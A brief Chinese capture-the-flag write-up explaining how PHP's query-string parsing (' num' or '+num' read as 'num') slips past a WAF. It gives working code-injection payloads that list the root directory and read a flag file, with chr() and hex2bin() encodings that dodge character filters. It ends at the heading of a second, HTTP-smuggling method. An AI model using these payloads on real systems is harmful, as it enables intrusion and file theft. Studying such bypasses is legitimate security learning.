这道题没什么思路直接看了wp,有两种解法:
一,利用PHP的字符串解析特性Bypass:
参考文章:利用PHP的字符串解析特性Bypass
也就是说,在这道题中PHP解析时'num'
=' num'
='+num'
,认为它们是同一个变量。
但是waf只认'num'
而' num'
和'+num'
都不在范围内,这样就能绕过waf了。
所以
payload1:
scandir("/")函数读取目录,/
被过滤所以换为chr(47)
绕过。
? num=1;var_dump(scandir(chr(47)))
file()函数读取flag。
? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
payload2:
空格换为+。
?+num=1;var_dump(scandir(chr(47)))
?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
补充:这里的chr(47)
也可以换为hex2bin(dechex(47))
dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。
二,http走私绕过WAF: